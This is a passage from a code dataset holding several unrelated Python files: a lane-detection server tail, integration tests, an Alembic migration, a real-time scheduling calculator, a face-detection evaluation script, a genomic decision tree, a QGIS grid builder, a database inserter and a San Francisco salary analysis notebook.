(\"Turn Left!\")\n senderSocket.send(cmd_turnLeft)\n\n\n # lane detection end\n\n\n\n\n #cv2.imshow(\"Stream\", source)\n cv2.imshow(\"Stream\", crop_img)\n cv2.waitKey(1)\n\n except cv2.error as e:\n print(\"Error, trying to restart function\")\n #laneControl()\n\n\nreceiver()\n","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"275165350","text":"#!/usr/bin/env python3\n# Copyright (c) 2004-present Facebook All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\n\nfrom utils.base_test import BaseTest\n\n\nclass TestEquipmentPortType(BaseTest):\n def setUp(self):\n self.port_type1 = self.client.add_equipment_port_type(\n name=\"port type 1\",\n properties=[(\"port property\", \"string\", \"port property value\", True)],\n link_properties=[\n (\"link port property\", \"string\", \"link port property value\", True)\n ],\n )\n\n def tearDown(self):\n self.client.delete_equipment_port_type(self.port_type1.id)\n\n def test_equipment_port_type_created(self):\n fetched_port_type = self.client.get_equipment_port_type(self.port_type1.id)\n self.assertEqual(self.port_type1.id, fetched_port_type.id)\n\n def test_equipment_port_type_edited(self):\n edited_port_type = self.client.edit_equipment_port_type(\n port_type=self.port_type1,\n new_name=\"new port type 1\",\n new_properties={\"port property\": \"new port property value\"},\n new_link_properties={\"link port property\": \"new link port property value\"},\n )\n fetched_port_type = self.client.get_equipment_port_type(self.port_type1.id)\n self.assertEqual(fetched_port_type.name, edited_port_type.name)\n self.assertEqual(len(fetched_port_type.properties), 1)\n self.assertEqual(\n fetched_port_type.properties[0][\"stringValue\"], \"new port property value\"\n )\n self.assertEqual(len(fetched_port_type.link_properties), 1)\n self.assertEqual(\n fetched_port_type.link_properties[0][\"stringValue\"],\n \"new link port property value\",\n )\n","sub_path":"symphony/integration/pytests/test_port_type.py","file_name":"test_port_type.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"506420654","text":"\"\"\"empty message\n\nRevision ID: 515d2606c301\nRevises: 1be5b55ecd31\nCreate Date: 2017-06-09 19:45:19.002828\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '515d2606c301'\ndown_revision = '1be5b55ecd31'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('rods')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('rods',\n sa.Column('timestamp', postgresql.TIMESTAMP(), autoincrement=False, nullable=False),\n sa.Column('rods', sa.VARCHAR(), autoincrement=False, nullable=False),\n sa.Column('board_id', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.ForeignKeyConstraint(['board_id'], [u'board.id'], name=u'rods_board_id_fkey'),\n sa.PrimaryKeyConstraint('timestamp', 'board_id', name=u'rods_pkey')\n )\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/515d2606c301_.py","file_name":"515d2606c301_.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"397607649","text":"#!/usr/bin/python3\nimport sys\nimport ast\nimport numpy as np\nimport math\n\nif sys.argv[1] == 'cyclic':\n\n\tentrada = input('Cs (Amb []): ')\n\tcs = ast.literal_eval(entrada)\n\tentrada = input('Ts (Amb []): ')\n\tts = ast.literal_eval(entrada)\n\tu = 0;\n\tfor ci, ti in zip(cs,ts):\n\t\tu += float(ci/ti)\n\tprint('U = ' + str(u))\n\th = np.lcm.reduce(ts)\n\tprint('H = ' + str(h))\n\tmaxci = max(cs)\n\tmindi = min(ts)\n\ttss = range(maxci, mindi+1)\n\tfor tsec in tss:\n\t\tif h%tsec == 0:\n\t\t\tvalid = 1\n\t\t\tprint(str(tsec) + ' temps secundari')\n\t\t\tfor ti in ts:\n\t\t\t\tif((2*tsec - np.gcd(tsec, ti)) > ti):\n\t\t\t\t\tvalid = 0\n\t\t\t\t\tprint('No valid')\n\t\t\tif valid == 1:\n\t\t\t\tprint(str(2*tsec - np.gcd(tsec,ti)) + ' mes petit que deadline')\n\t\t\t\tprint(str(tsec) + ' valid')\n\n\nelif sys.argv[1] == 'rm':\n\n\tentrada = input('Cs (Amb []): ')\n\tcs = ast.literal_eval(entrada)\n\tentrada = input('Ts (Amb []): ')\n\tts = ast.literal_eval(entrada)\n\tentrada = input('Prioritats (Amb []):')\n\tprio = ast.literal_eval(entrada)\n\tu = 0;\n\tfor ci, ti in zip(cs,ts):\n\t\tu += float(ci/ti)\n\tif (u <= (len(cs)*(np.power(2,float(1/len(cs))) - 1))):\n\t\tprint('Planificable per formula 1.')\n\n\n\telse:\n\t\tu = []\n\t\tproductori = 1\n\t\tfor ci, ti in zip(cs,ts):\n\t\t\tu.append(float(ci/ti))\n\t\tfor ui in u:\n\t\t\tproductori = productori * (ui + 1)\n\t\tif productori <= 2:\n\t\t\tprint('Planificable per formula 2.')\n\t\telse:\n\t\t\t#Time analysis\n\t\t\tfor i in range(0, len(cs)):#Per a cada tasca\n\t\t\t\tpri = prio[i]\n\t\t\t\tci = cs[i]\n\t\t\t\twold = 0\n\t\t\t\twnew = 1\n\t\t\t\tw = 1\n\t\t\t\ttmp = 0\n\t\t\t\twhile (w != wold):\n\t\t\t\t\tsum_tasks = 0\n\t\t\t\t\twold = w\n\t\t\t\t\tfor a in range(0,len(prio)): #interant prio\n\t\t\t\t\t\tif(prio[a] > pri and tmp == 1):\n\t\t\t\t\t\t\tsum_tasks += (math.ceil(wold/ts[a]))*cs[a]\n\t\t\t\t\tw = ci + sum_tasks\n\t\t\t\t\ttmp = 1\n\t\t\t\tif w <= ts[i]:\n\t\t\t\t\tprint('Tasca planificable amb w = ' + str(w) + ' (mes petita que ' + str(ts[i]) + ' )')\n\t\t\t\telse:\n\t\t\t\t\tprint('Tasca no planificable amb w = ' + str(w) + ' (mes petita que ' + str(ts[i]) + ' )')\n\t\t\tprint('Acabat.')\n\n\nelif sys.argv[1] == 'dm':\n\n\tentrada = input('Cs (Amb []): ')\n\tcs = ast.literal_eval(entrada)\n\tentrada = input('Ds (Amb []): ')\n\tds = ast.literal_eval(entrada)\n\tentrada = input('Ts (Amb []): ')\n\tts = ast.literal_eval(entrada)\n\tentrada = input('Prioritats (Amb []) (A partir de Deadline):')\n\tprio = ast.literal_eval(entrada)\n\t#Time analysis\n\tfor i in range(0, len(cs)):#Per a cada tasca\n\t\tpri = prio[i]\n\t\tci = cs[i]\n\t\twold = 0\n\t\twnew = 1\n\t\tw = 1\n\t\ttmp = 0\n\t\twhile (w != wold):\n\t\t\tsum_tasks = 0\n\t\t\twold = w\n\t\t\tfor a in range(0,len(prio)): #interant prio\n\t\t\t\tif(prio[a] > pri and tmp == 1):\n\t\t\t\t\tsum_tasks += (math.ceil(wold/ts[a]))*cs[a]\n\t\t\tw = ci + sum_tasks\n\t\t\ttmp = 1\n\t\tif w <= ds[i]:\n\t\t\tprint('Tasca planificable amb w = ' + str(w) + ' (mes petita que ' + str(ds[i]) + ' )')\n\t\telse:\n\t\t\tprint('Tasca no planificable amb w = ' + str(w) + ' (mes petita que ' + str(ts[i]) + ' )')\n\tprint('Acabat.')\n\nelif sys.argv[1] == 'edf':\n\tentrada = input('Cs (Amb []): ')\n\tcs = ast.literal_eval(entrada)\n\tentrada = input('Ds (Amb []): ')\n\tds = ast.literal_eval(entrada)\n\tentrada = input('Ts (Amb []): ')\n\tts = ast.literal_eval(entrada)\n\tu = 0;\n\tfor ci, ti in zip(cs,ts):\n\t\tu += float(ci/ti)\n\tprint('U = ' + str(u))\n\n\tif (u <= 1 and ds == ts):\n\t\tprint('Planificable (u < 1, D = T).')\n\telse:\n\t\th = np.lcm.reduce(ts)\n\t\tprint('H = ' + str(h))\n\t\tsums = 0\n\t\tfor i in range (0, len(cs)):\n\t\t\tsums += (ts[i]-ds[i])*(cs[i]/ts[i])\n\t\tl = float(sums/(float(1-u)))\n\t\tl = math.ceil(l)\n\t\tperiod_aval = min(h, l)\n\t\tprint(str(period_aval) + ' periode avaluació')\n\t\t#sumatoris mes petits que l per a cada d\n\t\tdes = []\n\t\tfor tasca in range(0, len(cs)):\n\t\t\tde = 0\n\t\t\tk = 0\n\t\t\twhile (de <= l):\n\t\t\t\tde = k*ts[tasca]+ds[tasca]\n\t\t\t\tif(de <= l):\n\t\t\t\t\tdes.append(de)\n\t\t\t\t\tk+=1\n\t\tprint(\"D aconseguits:\")\n\t\tfor de in des:\n\t\t\tprint(str(de))\n\n\t\tfor de in des:\n\t\t\tsum_g = 0\n\t\t\tfor tasca in range(0, len(cs)):\n\t\t\t\tsum_g += math.floor((de + ts[tasca] - ds[tasca])/ts[tasca])*cs[tasca]\n\t\t\tprint(\"Suma fins L = \" + str(de) + \" : \" + str(sum_g))\n\t\t\tif sum_g <= l:\n\t\t\t\tprint('Part correcte ( <= ' + str(l))\n\t\t\telse:\n\t\t\t\tprint('Part incorrecte ( > ' + str(l))\n\nelif sys.argv[1] == 'bs':\n\tprint('Cyclic with background server')\n\nelif sys.argv[1] == 'ps':\n\tentrada = input('Cs (Amb []): ')\n\tcs = ast.literal_eval(entrada)\n\tentrada = input('Ts (Amb []): ')\n\tts = ast.literal_eval(entrada)\n\tprod = 1\n\tfor task in range(0, len(ts)):\n\t\tprod *= (cs[task]/ts[task] + 1)\n\tumax = 2/prod - 1\n\tif(umax <= 1):\n\t\tprint('Planificable. U = ' + str(umax))\n\t\ttemps = range(min(ts)+1,max(ts))\n\t\tprint(\"Possibles valors Ts, Cs: \")\n\t\tfor tes in temps:\n\t\t\tprint(\"Ts = \" + str(tes))\n\t\t\tprint(\"Cs = \" + str(umax*tes))\n\n\telse:\n\t\tprint('No planificable.')\n\t","sub_path":"STR/planificadors.py","file_name":"planificadors.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"226820316","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nimport os\nimport cv2\nimport math\nimport sys\nimport numpy as np\nsys.path.append('..')\n# change the config as your need\n#from config_farm import configuration_10_320_20L_5scales_v2 as cfg\nimport mxnet\nfrom retinaface_val_gray import RetinaFace\n#from predict import Predict\n\n# set the proper symbol file and model file\nsymbol_file_path = 'model/mnet_net3/mnet_net3-symobl.json'\n#symbol_file_path = '../symbol_farm/symbol_10_320_20L_5scales_v2_deploy.json'\n#model_file_path = '../saved_model/configuration_10_320_20L_5scales_v2/train_10_320_20L_5scales_v2_iter_1800000.params'\n#model_file_path = 'model/mnet_net3/mnet_net3'\nmodel_file_path = '../../model_test_gray/mnet_net3a_faster_mobilenet_gray/mnet_net3a_faster_mobilenet_gray'\n#model_file_path = '../saved_model/configuration_10_320_20L_5scales_v2_2019-10-10-21-15-41/train_10_320_20L_5scales_v2_iter_2000000.params'\n#detector = RetinaFace(prefix_path, epoch_num, args.gpuid, 'net3a',args.dense_anchor)\ndetector = RetinaFace(model_file_path, 80, 0, 'net3a',False)\n'''\nmy_predictor = Predict(mxnet=mxnet,\n symbol_file_path=symbol_file_path,\n model_file_path=model_file_path,\n ctx=mxnet.gpu(0),\n receptive_field_list=cfg.param_receptive_field_list,\n receptive_field_stride=cfg.param_receptive_field_stride,\n bbox_small_list=cfg.param_bbox_small_list,\n bbox_large_list=cfg.param_bbox_large_list,\n receptive_field_center_start=cfg.param_receptive_field_center_start,\n num_output_scales=cfg.param_num_output_scales)\n'''\n\n# set fddb root, the path should look like XXXX/originalPics\nfddb_image_root = './FDDB/originalPics'\n# set the list file path, the path should look like XXXX/FDDB-folds/annotatedList.txt\nimage_list_file = './FDDB/FDDB-folds/imList.txt'\nresult_file_name = './fddb_eva/fddb_' + os.path.basename(model_file_path).split('.')[0] + '_result.txt'\nfin = open(image_list_file, 'r')\nfout = open(result_file_name, 'w')\nresize_scale = 1.0\nscales = [resize_scale]\nscore_threshold = 0.11\nNMS_threshold = 0.4\ncounter = 0\nflip = False\nfor line in fin:\n line = line.strip('\\n')\n\n im = cv2.imread(os.path.join(fddb_image_root, line + '.jpg'), cv2.IMREAD_GRAYSCALE)\n im = im[:,:np.newaxis]\n\n bboxes= detector.detect(im, score_threshold, scales, do_flip=flip)\n #bboxes= detector.detect(im, thresh, scales, do_flip=flip)\n #bboxes = my_predictor.predict(im, resize_scale=resize_scale, score_threshold=score_threshold, top_k=10000, NMS_threshold=NMS_threshold)\n\n # for bbox in bboxes:\n # cv2.rectangle(im, (bbox[0], bbox[1]), (bbox[2], bbox[3]), (255, 255, 0), 1)\n # cv2.imshow('im', im)\n # cv2.waitKey()\n\n fout.write(line + '\\n')\n if np.array(bboxes[0]).shape[0] == 0:\n print('No face')\n fout.write(str(0) + '\\n')\n continue\n fout.write(str(np.array(bboxes[0]).shape[0]) + '\\n')\n print('find',np.array(bboxes[0]).shape[0],'faces') \n for bbox in bboxes[0]:\n fout.write('%d %d %d %d %.03f' % (\n math.floor(bbox[0]), math.floor(bbox[1]), math.ceil(bbox[2] - bbox[0]), math.ceil(bbox[3] - bbox[1]),\n bbox[4] if bbox[4] <= 1 else 1) + '\\n')\n counter += 1\n print('[%d] %s is processed.' % (counter, line))\nfin.close()\nfout.close()\n\n","sub_path":"efficient_b0_RetinaFace/evaluation_on_fddb_gray.py","file_name":"evaluation_on_fddb_gray.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32672438","text":"from bs4 import BeautifulSoup\nwith open(\"xyz.html\") as fp:\n soup = BeautifulSoup(fp,\"html.parser\")\ni=0\nj=0\nb=[]\n\ndef info2(a,j):\n b=a[3*j].span.string\n print(b[3:])\n return b[3:]\n\ndef info1(x,i):\n y = x[i].find(\"div\", {\"class\": \"data\"})\n z = y.find_all(\"li\")\n print(z[2].string ,z[3].string)\n return z[2].string, z[3].string\n\n\nx = soup.find_all(\"div\", {\"class\": \"Cell Cell1\"})\nwhile i 12 \\\n or 'FALSE' in row['CAPTURE_STRICT']:\n status = False\n return status\n\ndef loadPosToAvgAlleleFrac(indelFile):\n indelFracs = defaultdict(list)\n with open(indelFile) as f:\n reader = csv.DictReader(f, delimiter='\\t')\n for row in reader:\n key = ':'.join([row[x] for x in ('chrom', 'pos',\n 'ref', 'altLs')])\n depth = sum([int(row[x])\n for x in ('Maf:Normal_ReadCount_Alt',\n 'Maf:Normal_ReadCount_Ref')])\n frac = int(row['Maf:Normal_ReadCount_Alt'])/float(depth)\n indelFracs[key].append(frac)\n return {x:np.average(indelFracs[x]) for x in indelFracs}\n \ndef mkData(indelFile):\n \"\"\"if realTree:\n 1) do not use wxsCov and indel len\n as features\n 2) use data w/ wxsCov and\n indel len cutoffs applied\n\n if useWxsCov:\n use wxsCov feature.\n This is to test if\n espCov can act as a replacement.\n \"\"\"\n mVar1Trans, mVar2Trans = mkCatVariableDicts(indelFile)\n mVar1TransKeys = list(mVar1Trans.keys())\n mVar2TransKeys = list(mVar2Trans.keys())\n\n pos2AvgFrac = loadPosToAvgAlleleFrac(indelFile)\n \n A, dataY = [], []\n with open(indelFile) as f:\n reader = csv.DictReader(f, delimiter='\\t')\n for row in reader:\n statusSet = set([row[x] for x in ('nciComboStatus',\n 'platypusStatusGood',\n 'bam2mpgStatusGood')])\n statusSetForFalse = set([row[x] for x in ('nciComboStatus',\n 'platypusStatusAll',\n 'bam2mpgStatusAll')])\n if (len(statusSet) == 1 or len(statusSetForFalse) == 1) \\\n and row['Maf:VariantType'] in ('Del', 'Ins') \\\n and row['seenInTumor'] != 'XXX' and useRow(True, row):\n status = -1\n if 'PASS' in statusSet and len(statusSet) == 1:\n status = 1\n elif 'FAIL' in statusSetForFalse \\\n and len(statusSetForFalse) == 1:\n status = 0\n if status != -1:\n depth = sum([int(row[x])\n for x in ('Maf:Normal_ReadCount_Alt',\n 'Maf:Normal_ReadCount_Ref')])\n frac = int(row['Maf:Normal_ReadCount_Alt'])/float(depth)\n hasT = 0\n if row['seenInTumor'] == 'TUMORTrue':\n hasT = 1\n indelType = 0\n if row['Maf:VariantType'] == 'Del':\n indelType = 1\n refLen = int( len(row['ref']) )\n hasComma = 0\n if \",\" in row['variant']:\n hasComma = 1\n \n capStrictO = mkBool(row['CAPTURE_STRICT_1KG'])\n capStrictSameProbeO = mkBool(row['CAPTURE_STRICT_1KG_SAME_PROBE'])\n capRelaxO = mkBool(row['CAPTURE_RELAXED_1KG'])\n capRelaxSameProbeO = mkBool(row['CAPTURE_RELAXED_1KG_SAME_PROBE'])\n capRelO = mkBool(row['CAPTURE_RELAXED_1KG'])\n capRelSameProbeO = mkBool(row['CAPTURE_RELAXED_1KG_SAME_PROBE'])\n \n contextGc = float(row['GCcontext'])\n \n indelLen = abs(int(row['len']))\n key = ':'.join([row[x] for x in ('chrom', 'pos',\n 'ref', 'altLs')])\n \n data = [pos2AvgFrac[key], contextGc, hasComma,\n hasT, depth, frac,\n indelType, indelLen,\n refLen, int(len(row['altLs'])),\n int(row['sampleCov']),\n int(row['tumorSampleCov']),\n int(row['sampleCov']) +\n int(row['tumorSampleCov']),\n capStrictO, capStrictSameProbeO,\n capRelO, capRelSameProbeO,\n ]\n A.append(tuple(data))\n dataY.append(status)\n\n dt = ['avgVarFrac',\n 'contextGc',\n 'MultipleAlts',\n 'InTumor',\n 'Depth',\n 'VarFracNorm',\n 'Ins/Del',\n 'RefAltDiff',\n 'RefLen',\n 'AltLen',\n 'NormalSampleCov',\n 'TumorSampleCov',\n 'AllSampleCov',\n \n 'CaptureStrictO',\n 'ProbeStrictO',\n 'CaptureRelaxO',\n 'ProbeSRelaxO',\n ]\n X = np.array(A)\n y = np.array(dataY)\n return X,y,dt\n\ndef drawTree(X, y, names, depth, outFile, pickleFile):\n clf = tree.DecisionTreeClassifier(max_depth=depth) #criterion=\"entropy\"\n \n clf = clf.fit(X, y)\n dot_data = StringIO()\n tree.export_graphviz(clf, feature_names=names, out_file=dot_data)\n graph = pydot.graph_from_dot_data( dot_data.getvalue() )\n graph.write_pdf(outFile)\n pickle.dump(clf, open(pickleFile, 'wb'))\n\ndef crossVal(X, y, depth):\n # Split into training and test\n sss = StratifiedShuffleSplit(y, 4, test_size=0.1, random_state=442)\n for train_index, test_index in sss:\n clf = tree.DecisionTreeClassifier(max_depth=depth)\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = y[train_index], y[test_index]\n clf = clf.fit(X_train, y_train)\n preds = clf.predict(X_test)\n metrics.confusion_matrix( y_test, preds )\n print( metrics.classification_report(y_test, clf.predict(X_test)) )\n\ndef writeData(X, y, names, outFileData):\n with open(outFileData, 'w') as fout:\n print >> fout, '\\t'.join(names + ['Y'])\n for row,yy in zip(X,y):\n print >> fout, '\\t'.join([str(x) for x in row]\n + [str(yy)])\n\n \nif __name__ == '__main__':\n (indelFile,\n outFilePlot, outFileMatrix,\n outFilePickle) = sys.argv[1:]\n depth = 5\n X, y, names = mkData(indelFile)\n drawTree(X, y, names, depth, outFilePlot, outFilePickle)\n writeData(X, y, names, outFileMatrix)\n crossVal(X, y, depth)\n","sub_path":"code/scripts/finalTree.py","file_name":"finalTree.py","file_ext":"py","file_size_in_byte":8071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"614215575","text":"from CS4HS import *\n\nfrom collision import *\n\n# creating our Graphics object\ngame = Graphics(640, 480)\n\nstar_x = 320 - 10\nstar_y = 470\n\npaddle_x = 0\npaddle_y = 0\n\nlabel.mygame\nstar_y -= 1\n\nif game.isKeyPressed(KEY_A):\n paddle_x -= 1\nif game.isKeyPressed(KEY_D):\n paddle_x += 1\n\ngame.clear()\ngame.drawImage(\"star.gif\", star_x, star_y)\ngame.drawImage(\"paddle.gif\", paddle_x, paddle_y)\ngame.reveal()\n\ngoto.mygame\n\n'''\nExercises:\n1) When the paddle collides with the star, reset the star, otherwise end the game\n'''","sub_path":"Course/ex7_collisions.py","file_name":"ex7_collisions.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"339700882","text":"# -*- coding: utf-8 -*-\nfrom math import ceil\n\nfrom qgis.core import *\nfrom qgis.gui import *\nfrom PyQt4.QtGui import *\n\ndef get_point_layer(map_layer, canvas):\n\n xmin, ymin, xmax, ymax = map_layer.extent().toRectF().getCoords()\n crs = map_layer.crs().toWkt()\n point_layer = QgsVectorLayer('Polygon?crs=' + crs, 'pixels', 'memory')\n point_provider = point_layer.dataProvider()\n\n gridWidth =map_layer.rasterUnitsPerPixelX() #2017.11.1 원영진 수정\n gridHeight = map_layer.rasterUnitsPerPixelY() #2017.11.1 원영진 수정\n\n rows = ceil((ymax-ymin)/gridHeight)\n cols = ceil((xmax-xmin)/gridWidth)\n ringXleftOrigin = xmin\n ringXrightOrigin = xmin + gridWidth\n ringYtopOrigin = ymax\n ringYbottomOrigin = ymax-gridHeight\n for i in range(int(cols)):\n ringYtop = ringYtopOrigin\n ringYbottom =ringYbottomOrigin\n for j in range(int(rows)):\n poly = [QgsPoint(ringXleftOrigin, ringYtop),QgsPoint(ringXrightOrigin, ringYtop),QgsPoint(ringXrightOrigin, ringYbottom),QgsPoint(ringXleftOrigin, ringYbottom),QgsPoint(ringXleftOrigin, ringYtop)] \n feat = QgsFeature()\n feat.setGeometry(QgsGeometry().fromPolygon([poly]))\n point_provider.addFeatures([feat])\n point_layer.updateExtents()\n\n ringYtop = ringYtop - gridHeight\n ringYbottom = ringYbottom - gridHeight\n ringXleftOrigin = ringXleftOrigin + gridWidth\n ringXrightOrigin = ringXrightOrigin + gridWidth\n\n\n myRenderer = point_layer.rendererV2()\n if point_layer.geometryType() == QGis.Polygon:\n # mySymbol1 = QgsFillSymbolV2.createSimple({'color':'255,0,0,0'})\n\n # 2017-12-07 박 두께 및 색상 변경\n properties = {'color': '255,0,0,0','width_border': '0.09' , 'color_border': '0,0,0,127'}\n mySymbol1 = QgsFillSymbolV2.createSimple(properties)\n\n myRenderer.setSymbol(mySymbol1)\n point_layer.triggerRepaint()\n\n return point_layer","sub_path":"plugin/grid_layer.py","file_name":"grid_layer.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"221336041","text":"\"\"\"Test autocomplete kata.\"\"\"\n\nimport pytest\n\nvocab = [\"fix\", \"fax\", \"fit\", \"fist\", \"full\", \"finch\", \"final\", \"finial\"]\n\nTEST_VARS = [\n [vocab, 4, \"f\", [\"fix\", \"fax\", \"fit\", \"fist\"]],\n [vocab, 4, \"fi\", [\"fix\", \"fit\", \"fist\", \"finch\"]],\n [vocab, 4, \"fin\", [\"finch\", \"final\", \"finial\"]],\n [vocab, 4, \"finally\", []],\n [vocab, 4, 4, \"You must enter a valid string\"],\n [vocab, 1, \"f\", [\"fix\"]],\n [vocab, 7, \"f\", [\"fix\", \"fax\", \"fit\", \"fist\", \"full\", \"finch\", \"final\"]],\n]\n\n\n@pytest.mark.parametrize(\"vocab, max_completions, input, answer\", TEST_VARS)\ndef test_autocompleter(vocab, max_completions, input, answer):\n \"\"\"Test.\"\"\"\n from .autocomplete import AutoCompleter\n\n complete_me = AutoCompleter(vocab, max_completions=max_completions)\n assert complete_me(input) == answer\n","sub_path":"katas/autocomplete/test_autocomplete.py","file_name":"test_autocomplete.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176087477","text":"\"\"\"\nCreate Records Db\n\"\"\"\n\nimport random\nimport psycopg2\nimport time\n\n\ndef exec_sql(sql):\n \"\"\"\n Create connection pool\n :return:\n \"\"\"\n try:\n # Create Connection Pool object\n connection = psycopg2.connect(user=\"mimicuser\",\n password=\"mimicuser\",\n host=\"localhost\",\n port=\"5431\",\n database=\"mimic\")\n cursor = connection.cursor()\n cursor.execute(sql)\n connection.commit()\n\n except (Exception, psycopg2.Error) as err:\n print(\"Error while upserting to PostgreSQL: {}\".format(err))\n finally:\n if (connection):\n cursor.close()\n connection.close()\n\n\ndef convert_epoch_to_datetime(epoch_time):\n \"\"\"\n Convert epoch time to datetime string\n :param epoch_time:\n :return:\n \"\"\"\n return time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(epoch_time))\n\n\nTABLE = \"admissions\"\nCOLUMN_NAME = ['row_id', 'subject_id', 'hadm_id', 'admittime', 'dischtime', 'deathtime', 'admission_type',\n 'admission_location', 'discharge_location', 'insurance', 'language', 'religion', 'marital_status',\n 'ethnicity', 'edregtime', 'edouttime', 'diagnosis', 'hospital_expire_flag', 'has_chartevents_data']\n\nRECORD = [int(time.time()),\n 44228,\n 103379 + int(1000 * random.random()), # random id\n convert_epoch_to_datetime(time.time()),\n convert_epoch_to_datetime(time.time()),\n convert_epoch_to_datetime(time.time()),\n 'EMERGENCY', 'EMERGENCY ROOM ADMIT', 'HOME HEALTH CARE', 'Private', 'ENGL', 'NOT SPECIFIED', 'SINGLE',\n 'WHITE', convert_epoch_to_datetime(time.time()), convert_epoch_to_datetime(time.time()), 'CHOLANGITIS', 0, 1]\n\nINSERT_QUERY = \"\"\"INSERT INTO {table} ({columns}) VALUES {record};\"\"\".format(table=TABLE,\n columns=', '.join(COLUMN_NAME),\n record=tuple(RECORD))\n\nprint(\"Running Query...\")\nexec_sql(INSERT_QUERY)\nprint(\"Done\")\n","sub_path":"test/utils/create_records_db.py","file_name":"create_records_db.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207895753","text":"# Script for Data Incubator q3:\n# Written by Peter Frick\n\n# In[1]:\n\nget_ipython().magic(u'matplotlib inline')\nimport requests\nimport json\nimport pandas as pd\nimport matplotlib.pylab as plt\nimport numpy as np\nimport requests\n\n\n# In[2]:\n\nURL = \"https://data.sfgov.org/resource/88g8-5mnd.json\"\n\n########## Some other data sources that may be interesting for the future. #############\n#URL = \"http://www.zillow.com/webservice/GetSearchResults.htm?\" + \"zws-id=\" + \"X1-ZWz1ezwkcmsft7_1651t\" + \\\n#\"&address=\" + \"san-francisco\"\n#URL = \"https://api.data.gov/ed/collegescorecard/v1/schools/?sort=2011.earnings.6_yrs_after_entry.percent_greater_than_25000%3Adesc&school.operating=1&2013.student.size__range=0..&school.degrees_awarded.predominant=3&fields=id%2Cschool.name%2Cschool.city%2Cschool.state%2C2013.student.size%2Cschool.ownership%2Cschool.degrees_awarded.predominant%2C2013.cost.avg_net_price.overall%2C2013.completion.rate_suppressed.overall%2C2011.earnings.10_yrs_after_entry.median%2C2011.earnings.6_yrs_after_entry.percent_greater_than_25000%2Cschool.under_investigation&api_key=Xxf2NKtwfcXUd8K2hqawnlur6c0YY93xsNFwq0Dy\"\n#URL = \"https://data.sfgov.org/resource/mjr8-p6m5.json\"\n#URL = \"http://data.consumerfinance.gov/api/views/s6ew-h6mp.json\"\n#URL = \"http://gis.ers.usda.gov/arcgis/rest/services/\"\n#URL = \"http://api.data.gov/ed/collegescorecard/v1/schools\"\n\n\n# In[3]:\n\nresponse = requests.get(URL)\nresponse.raise_for_status()\ndata = response.json()\n\n\n# In[4]:\n\n#df = pd.DataFrame(data)\n#df.columns\n\n\n# In[5]:\n\n#print data[0]\ndf = pd.DataFrame.from_dict(data)\n#isinstance((data[0]), dict)\n\n\n# In[6]:\n\nquantVar = ['health_dental','other_benefits','other_salaries','overtime','retirement','salaries','total_benefits','total_compensation','total_salary']\ndf[quantVar] = df[quantVar].astype(float)\n\ndf = df.sort_values(by='total_compensation')\ndf = df.reset_index()\ndf.head()\n\n\n# In[7]:\n\ndList = range(9)\nfig = plt.figure(figsize=(10,9), dpi=1600)\nfig.suptitle('Overview of the data',fontsize=15,y=1.08,fontweight='bold')\n\n#Function to make a single plot\ndef multiPlot(myData): \n ax=plt.subplot2grid((ncol,nrow),(yPanel,xPanel))\n ax.hist(df[quantVar[myData]],alpha=0.5)#alpha??\n ax.set_xlabel(quantVar[myData],fontsize=14,fontweight='bold')\n #ax.set_ylabel('Y',fontsize=14,fontweight='bold',rotation='Vertical')\n plt.locator_params(axis = 'x', nbins = 2)\n ax.tick_params(labelsize=14)\n\n#Script to add plots to multipanel figure\nxPanel = 0; yPanel = 0; ncol = 3; nrow = 3; legIdx=0\n#plt.tight_layout()\nfor i in dList:\n multiPlot(i)\n xPanel=xPanel+1; legIdx=legIdx+1\n if xPanel>(nrow-1):\n xPanel=0\n yPanel=yPanel+1\n\n\nfig.tight_layout()\n\n\n# In[8]:\n\ntotComp = df['total_compensation']\nt = range(len(totComp))\nj = df['department']\nj = df['department']\njc = df['department_code']\n\ndfPol = df[df['department_code']=='POL']\ndfFir = df[df['department_code']=='FIR']\ndfMta = df[df['department_code']=='MTA']\n\npolIdx = [i for i in np.where(df['department_code']=='POL')[0]]\nfirIdx = np.where(df['department_code']=='FIR')[0]\nmtaIdx = np.where(df['department_code']=='MTA')[0]\n\n\n# In[10]:\n\nfrom bokeh.plotting import figure, output_file, show, ColumnDataSource, output_notebook\nfrom bokeh.models import HoverTool, Select\n\noutput_notebook()\n\nsAll = ColumnDataSource(\n data=dict(\n x = df.index,\n y = df['total_compensation'],\n totSal = df['total_salary'],\n dept = df['department'],\n totBen = df['total_benefits'],\n job = df['job']\n )\n )\n\nsPol = 